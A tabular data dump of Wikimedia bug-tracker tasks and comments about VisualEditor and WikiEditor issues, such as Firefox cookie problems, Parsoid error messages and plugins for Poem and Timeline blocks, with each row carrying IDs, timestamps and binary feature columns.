+VE do work for me in en.wikipedia.org (that is of course whitelisted). I don't know if anonymous users can contribute with cookies disabled (for the day it will be activated for them).",,,1355821184,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zborcq5aeddm5rc2upgl,task_subcomment,,True,c1,1,False,,,-28,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+187334,VisualEditor: Firefox has issues using VE when cookies are disabled,"(In reply to comment #1)
+> Can you confirm whether VE always fails to load with Cookie Monster and
+> always
+> loads successfully without Cookie Monster?
+And could you also confirm that you're able to edit *as a logged-in user* using the regular non-visual editor?",,,1355819420,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-zborcq5aeddm5rc2upgl,task_subcomment,,True,c1,1,False,,,-28,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
+187329,VisualEditor: Firefox has issues using VE when cookies are disabled,"You can't have *all* cookies disabled, otherwise you wouldn't be able to log in and enable the VE preference. I'm guessing this might be a badtoken error (in which case I'm pretty sure we do actually show an error message, rather than load forever; and in which case you're probably also unable to edit through the regular UI), or it might be something entirely unrelated to cookies.
+
+Can you confirm whether VE always fails to load with Cookie Monster and always loads successfully without Cookie Monster?",,,1355819348,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-zborcq5aeddm5rc2upgl,task_subcomment,,True,c1,1,False,,,-28,,1,1,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+45187,Undo/Redo doesn't work in Chrome/Chromium/Firefox for WikiEditor 0.3.1 in MW 1.19.2,"**Author:** `kartiksinghal`
+
+**Description:**
+I am using WikiEditor 0.3.1 in my mediawiki (1.19.2) installation and found that for some weird reason, undo/redo (Ctrl+Z and Ctrl+Shift+Z) doesn't work in the editor with Chrome, Chromium and Firefox browsers; while it works for Rekonq and default KDE webbrowser.
+
+I found T33780 - a slightly different but probably relevant bug report.
+
+Also, undo works just fine in default VisualEditor in Chrome.
+
+Interesting point to notice is that Undo/Redo work fine even on WikiEditor used on Wikipedia, but not in my mediawiki instance, looks like some good changes not pushed to upstream yet.
+
+I also tried test2.wikipedia.org, it works fine there as well.
+
+--------------------------
+**Version**: REL1_19-branch
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=31780",Low,25.0,1355717820,1426929084.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-TASK-5sshjiczpsr7gablgejn,task_description,invalid,True,c1,1,False,False,False,-28,,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+335368,Undo/Redo doesn't work in Chrome/Chromium/Firefox for WikiEditor 0.3.1 in MW 1.19.2,This has probably already been fixed. I have no issues with undo/redo in Firefox on my local wiki running MW 1.23 and WikiEditor from master.,,,1417536426,,PHID-USER-2uu3axihtun5w4v24nqz,False,,,PHID-TASK-5sshjiczpsr7gablgejn,task_subcomment,,True,c1,3,False,,,74,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+45147,VisualEditor: Parsoid diff failure errors are not very descriptive,"Parsoid diff failure errors are not very descriptive - ""error loading data from server: unsuccessful request: diff failed."" but not why (in this case, it was because the target oldid had been deleted subsequent to the user pressing save, but a more graceful message would be good.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=44354
+https://bugzilla.wikimedia.org/show_bug.cgi?id=39057
+https://bugzilla.wikimedia.org/show_bug.cgi?id=63149",Low,25.0,1355530860,1409684401.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-rmktbubqqol74vvmg4zn,task_description,resolved,True,c1,1,True,False,False,-29,,0,0,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0
+184692,VisualEditor: Parsoid diff failure errors are not very descriptive,"With the above patch, the former message:
+
+    Error loading data from server: parsoidserver-http-bad-status:
+    500. Would you like to retry?
+
+… turns into:
+
+    Error loading data from server: parsoidserver-http-bad-status:
+    500: Page Fetch failure for ""BADURL"": Error: getaddrinfo
+    ENOTFOUND. Would you like to retry?
+
+Which is not ideal, but at least describes things a bit. Marking this as FIXED.",,,1409684401,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rmktbubqqol74vvmg4zn,task_subcomment,,True,c1,3,True,,,61,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,0
+184689,VisualEditor: Parsoid diff failure errors are not very descriptive,"Change 157775 merged by jenkins-bot:
+Add debugging help to VisualEditor
+
+https://gerrit.wikimedia.org/r/157775",,,1409681803,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rmktbubqqol74vvmg4zn,task_subcomment,,True,c1,3,False,,,61,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+184684,VisualEditor: Parsoid diff failure errors are not very descriptive,"Change 157775 had a related patch set uploaded by Jforrester:
+Add debugging help to VisualEditor
+
+https://gerrit.wikimedia.org/r/157775",,,1409669834,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rmktbubqqol74vvmg4zn,task_subcomment,,True,c1,3,False,,,61,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+45133,"VisualEditor: Fly-out wikitext editor for unsupported extensions' source blocks (""alienated content"")","For content which is alienated, provide a way for users to get a wikitext editing window for just the wikitext for that item. This allows users to modify content that does not have an inspector yet, and for ""power users"", make tweaks in an environment that is familiar to them, without overwhelming other users. Ideally, this would be syntax-highlighted and pretty and helpful, but anything at all would be a start. :-)
+
+This will require some serious magic in Parsoid to identify the causal wikitext and allow partial document retrieval, and so this is very much in the ""enhancement"" pile for now; putting in UI as it's an inspector, but it will have impacts all the way down through DM.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1355508900,1414135494.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-64pve3q3gx7xk5rm2nk4,task_description,resolved,True,c1,1,True,False,False,-29,,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,0,1,1,1,0,0,0,0,1,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+183999,"VisualEditor: Fly-out wikitext editor for unsupported extensions' source blocks (""alienated content"")",Fixed by Ed last year in https://gerrit.wikimedia.org/r/#/c/78035/,,,1414135494,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-64pve3q3gx7xk5rm2nk4,task_subcomment,,True,c1,3,False,,,68,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+183997,"VisualEditor: Fly-out wikitext editor for unsupported extensions' source blocks (""alienated content"")","**suitongbowgn** wrote:
+
+(In reply to comment #9)
+> (In reply to comment #8)
+> > There are quite a lot of extensions where the content should probably be
+> > treated as a simple block of text. <math>, <source>, <pre>, <poem> basically
+> > just have plain text ending with the appropriate closing tag.
+> 
+> Sort of. Ideally there will one day be a visual math editor, a visual music
+> editor, and we already have [[mw:Extension:CodeEditor]] (which is even
+> deployed
+> to certain wikis) for JavaScript and CSS, which will likely cover <pre> and
+> <source>/<syntaxhighlight> blocks.
+> 
+> I suppose <poem> and <nowiki> blocks can use a simple editor. :-)
+
+For <math> please see bug 43058. I believe it is already available via VisualEditor experimental code.
+For <syntaxhighlight> please see bug 47742. The code is currently under code review and will be available via VE experimental code in the future.",,,1375162399,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-64pve3q3gx7xk5rm2nk4,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+183993,"VisualEditor: Fly-out wikitext editor for unsupported extensions' source blocks (""alienated content"")","(In reply to comment #8)
+> There are quite a lot of extensions where the content should probably be
+> treated as a simple block of text. <math>, <source>, <pre>, <poem> basically
+> just have plain text ending with the appropriate closing tag.
+
+Sort of. Ideally there will one day be a visual math editor, a visual music editor, and we already have [[mw:Extension:CodeEditor]] (which is even deployed to certain wikis) for JavaScript and CSS, which will likely cover <pre> and <source>/<syntaxhighlight> blocks.
+
+I suppose <poem> and <nowiki> blocks can use a simple editor. :-)",,,1375159143,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-64pve3q3gx7xk5rm2nk4,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,1,0,0,1,1,1,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+183992,"VisualEditor: Fly-out wikitext editor for unsupported extensions' source blocks (""alienated content"")","There are quite a lot of extensions where the content should probably be treated as a simple block of text. <math>, <source>, <pre>, <poem> basically just have plain text ending with the appropriate closing tag.
+
+Some partial fix of this would be a great step in allowing VE to be used on some large classes of article.",,,1375133975,,PHID-USER-7hrs7wwclcldf7mm6a7o,True,,,PHID-TASK-64pve3q3gx7xk5rm2nk4,task_subcomment,,True,c1,3,False,,,4,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1
+183987,"VisualEditor: Fly-out wikitext editor for unsupported extensions' source blocks (""alienated content"")",*** Bug 51131 has been marked as a duplicate of this bug. ***,,,1373482421,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-64pve3q3gx7xk5rm2nk4,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+183982,"VisualEditor: Fly-out wikitext editor for unsupported extensions' source blocks (""alienated content"")",*** Bug 47742 has been marked as a duplicate of this bug. ***,,,1366998592,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-64pve3q3gx7xk5rm2nk4,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+183974,"VisualEditor: Fly-out wikitext editor for unsupported extensions' source blocks (""alienated content"")",Moved to Lowest as this has a huge dependency on Parsoid which they are unlikely to implement; depending on their reconsideration in a while.,,,1360206963,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-64pve3q3gx7xk5rm2nk4,task_subcomment,,True,c1,1,True,,,-21,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+183963,"VisualEditor: Fly-out wikitext editor for unsupported extensions' source blocks (""alienated content"")","(In reply to comment #3)
+> +1, I imagine this feature as a toggle button, which switches the main view
+> between its current rendering containing uneditable blocks, to a hybrid
+> rendered + wikitext view in which the VE-opaque stuff is displayed as raw
+> source.
+
+Actually, we'll probably have inspector buttons on alienated nodes that trigger a float-over IFRAME quasi-window (in the same way that we do for the link inspector) for the individual item, rather than have a different editing mode (disrupting the entire editing flow feels wrong), but these decisions have yet to be taken.",,,1357696093,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-64pve3q3gx7xk5rm2nk4,task_subcomment,,True,c1,1,True,,,-25,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+183954,"VisualEditor: Fly-out wikitext editor for unsupported extensions' source blocks (""alienated content"")","+1, I imagine this feature as a toggle button, which switches the main view between its current rendering containing uneditable blocks, to a hybrid rendered + wikitext view in which the VE-opaque stuff is displayed as raw source.
+
+The VE is great, but I have not found it to be usable for anything beyond the most trivial copy-editing, because of this issue.",,,1357694232,,PHID-USER-p6hvqn5njgnxuagekh4b,True,,,PHID-TASK-64pve3q3gx7xk5rm2nk4,task_subcomment,,True,c1,1,True,,,-25,,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+183950,"VisualEditor: Fly-out wikitext editor for unsupported extensions' source blocks (""alienated content"")","(In reply to comment #1)
+> It should be noted that a lot of this is already supported. I don't think
+> it's
+> perfect, and VE would have to perform some acrobatics to get it working, but
+> you could essentially make it work if you set the wikitext source on the
+> element, then serialized the DOM and re-parsed it to get the visual
+> representation back.
+> 
+The wikitext is currently exposed in the data-parsoid attribute, but the contents of that attribute are supposed to be private and VE isn't supposed to look at them, just preserve them. There were earlier hacks in VE that extracted information from data-parsoid to work around Parsoid issues (specifically, we had to look at sHref for links and stx==html for list items), but Gabriel has been glaring at me every time I did that.
+
+So to make the wikitext editable, it would have to be moved to a more public place, or data-parsoid would have to be declared semi-public. Either way, we need to spec how Parsoid is going to present the wikitext to VE and what VE is allowed to do with it.
+
+> James_F and I chatted about this for some time, and I'm pretty sure that's
+> one
+> of the saner ways to do it (unless you wanted to simply ignore the visual
+> portion of ""VisualEditor"" and submit the alien's changes only when the user
+> is
+> done editing.
+Yeah, you probably don't want to continuously rerender as the user types, that would get crazy. But as you say, you'd want to reparse the entered wikitext so you can rerender it and give the user visual feedback. That should be interesting to implement.",,,1355819784,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-64pve3q3gx7xk5rm2nk4,task_subcomment,,True,c1,1,False,,,-28,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+183946,"VisualEditor: Fly-out wikitext editor for unsupported extensions' source blocks (""alienated content"")","It should be noted that a lot of this is already supported. I don't think it's perfect, and VE would have to perform some acrobatics to get it working, but you could essentially make it work if you set the wikitext source on the element, then serialized the DOM and re-parsed it to get the visual representation back.
+
+James_F and I chatted about this for some time, and I'm pretty sure that's one of the saner ways to do it (unless you wanted to simply ignore the visual portion of ""VisualEditor"" and submit the alien's changes only when the user is done editing.",,,1355522188,,PHID-USER-nvavrb7ko66hv3xap6sb,True,,,PHID-TASK-64pve3q3gx7xk5rm2nk4,task_subcomment,,True,c1,1,True,,,-29,,1,0,0,1,1,1,0,0,0,1,0,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+45120,Create a VisualEditor plugin tool to add/edit Poem blocks,"<poem>....</poem> is unparsed but shown as plain wikitext:
+https://en.wikipedia.org/wiki/User:Raymond/poem
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**URL**: https://en.wikipedia.org/wiki/User:Raymond/poem",Low,25.0,1355479800,,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-j5lt672qs5xqtdfzq6de,task_description,open,True,c1,1,False,False,,-29,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+183197,Create a VisualEditor plugin tool to add/edit Poem blocks,"(In reply to comment #3)
+> (a) and (b), I guess. See bug 52061. I was going through a list of bugs in
+> the Poem component, since they will all need to be moved once the change
+> is merged (hoping it *is* merged, of course). Sorry if I'm getting too far
+> ahead of myself, but this bug did seem like an odd one out, so I moved it
+> out here.
+
+Moving back to Poem, then. The bug can be moved the MediaWiki/editing or whatever later, when bug 52061 is closed-fixed.
+
+> (In reply to comment #2)
+> > > so I'm punting back to VisualEditor.
+> > 
+> > Why? It's not VisualEditor's problem that an extension hasn't been updated
+> > yet…
+> 
+> Well, if Poem is to become a MediaWiki core feature, then it will turn into
+> something for the VE team to worry about.
+
+No, not really. It'll remain the responsibility of some code's maintainer, whoever that is (you?). In the absence of an obvious maintainer, that's the ""Platform team"", which sucks, but is rather outwith this bug report.
+
+The VE team build VE and some of the MW-specific VE tools. We're not going to make an editor for EasyTimeline, and we're not going to make one for Poem, for the same reason. :-)
+
+> Also, if I may point it out, the WikiHiero extension is seemingly supported
+> in VisualEditor core. The extension itself knows nothing about VE. is that
+> an anomaly?
+
+Yes; the code's yet to be moved into that repo. Give me a spare 10 minutes. :-)",,,1389573042,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-j5lt672qs5xqtdfzq6de,task_subcomment,,True,c1,3,True,,,28,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+183191,Create a VisualEditor plugin tool to add/edit Poem blocks,"(a) and (b), I guess. See bug 52061. I was going through a list of bugs in the Poem component, since they will all need to be moved once the change is merged (hoping it *is* merged, of course). Sorry if I'm getting too far ahead of myself, but this bug did seem like an odd one out, so I moved it out here.
+
+(In reply to comment #2)
+> > so I'm punting back to VisualEditor.
+> 
+> Why? It's not VisualEditor's problem that an extension hasn't been updated
+> yet…
+
+Well, if Poem is to become a MediaWiki core feature, then it will turn into something for the VE team to worry about.
+
+Also, if I may point it out, the WikiHiero extension is seemingly supported in VisualEditor core. The extension itself knows nothing about VE. is that an anomaly?",,,1389572502,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-j5lt672qs5xqtdfzq6de,task_subcomment,,True,c1,3,False,,,28,,1,1,0,1,1,1,1,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,1,0,1,0,0,1,1,1,0,1,1,1,1,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+183186,Create a VisualEditor plugin tool to add/edit Poem blocks,"(In reply to comment #1)
+> This is not a bug/enhancement in the Poem extension itself,
+
+False. The Poem extension fails to register a VisualEditor enhanced editor for itself. This is a problem with that extension. See also bug 43115, bug 43118, bug 43127, etc.
+
+> so I'm punting back to VisualEditor.
+
+Why? It's not VisualEditor's problem that an extension hasn't been updated yet…
+
+> If I've got this wrong, please don't move the bug back to Poem, as this
+> component is hopefully going to be removed soon.
+
+Please justify this.
+
+All MW extensions that are deployed on the WMF cluster (and many that aren't) have a Bugzilla component, by policy. Are you saying that:
+
+ (a) you want us to remove this extension from the cluster,
+ (b) you want us to merge this extension into MW core, or
+ (c) you want us to break our existing policy for this extension?",,,1389567907,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-j5lt672qs5xqtdfzq6de,task_subcomment,,True,c1,3,True,,,27,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,0,1,1,0,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+183180,Create a VisualEditor plugin tool to add/edit Poem blocks,"This is not a bug/enhancement in the Poem extension itself, so I'm punting back to VisualEditor.
+
+If I've got this wrong, please don't move the bug back to Poem, as this component is hopefully going to be removed soon.",,,1389521779,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-j5lt672qs5xqtdfzq6de,task_subcomment,,True,c1,3,False,,,27,,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+45115,Create a VisualEditor plugin tool to add/edit Timelines,"<timeline>....</timeline> is unparsed but shown as plain wikitext:
+https://en.wikipedia.org/wiki/User:Raymond/timeline
+
+**See Also**:
+{T29157}",Low,25.0,1355477160,1479204677.0,PHID-USER-3uecblbxq24ycewm2cog,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-xk6tqgbthziuxrrlpn37,task_description,declined,True,c1,1,False,False,False,-29,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+761003,Create a VisualEditor plugin tool to add/edit Timelines,"Same as {T29157}, EasyTimeline is legacy and will eventually be replaced in favor of the Graph extension (T137291). As such it does not make sense to invest in a VisualEditor plugin that will eventually be made obsolete when timelines are migrated to Graph.",,,1479204677,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-xk6tqgbthziuxrrlpn37,task_subcomment,,True,c1,3,True,,,176,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+676142,Create a VisualEditor plugin tool to add/edit Timelines,I'd advise against work on this task; see {T137291} for the likely disposition of the extension.,,,1465386511,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xk6tqgbthziuxrrlpn37,task_subcomment,,True,c1,3,True,,,153,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+182954,Create a VisualEditor plugin tool to add/edit Timelines,"Not a duplicate; bug 27157 is about making a stand-alone interactive visual tool to create and edit EasyTimelines, whereas this is specifically about doing it inside VisualEditor (and so not for wikitext users).",,,1403569577,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xk6tqgbthziuxrrlpn37,task_subcomment,,True,c1,3,True,,,51,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+182948,Create a VisualEditor plugin tool to add/edit Timelines,"I think this is a duplicate of bug 27157. Please revert if I'm wrong.
+
+*** This bug has been marked as a duplicate of bug 27157 ***",,,1403559016,,PHID-USER-omdcggvudfkuawipp23i,False,,,PHID-TASK-xk6tqgbthziuxrrlpn37,task_subcomment,,True,c1,3,False,,,51,,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+45091,VisualEditor: Switch over edit-success notice to use the deployed one,"On successful save, VE informs the user with a notification; however, this is not the same as the one deployed to the English Wikipedia (and elsewhere?). We should just inherit that, if possible.
+
+--------------------------
+**Version**: unspecified
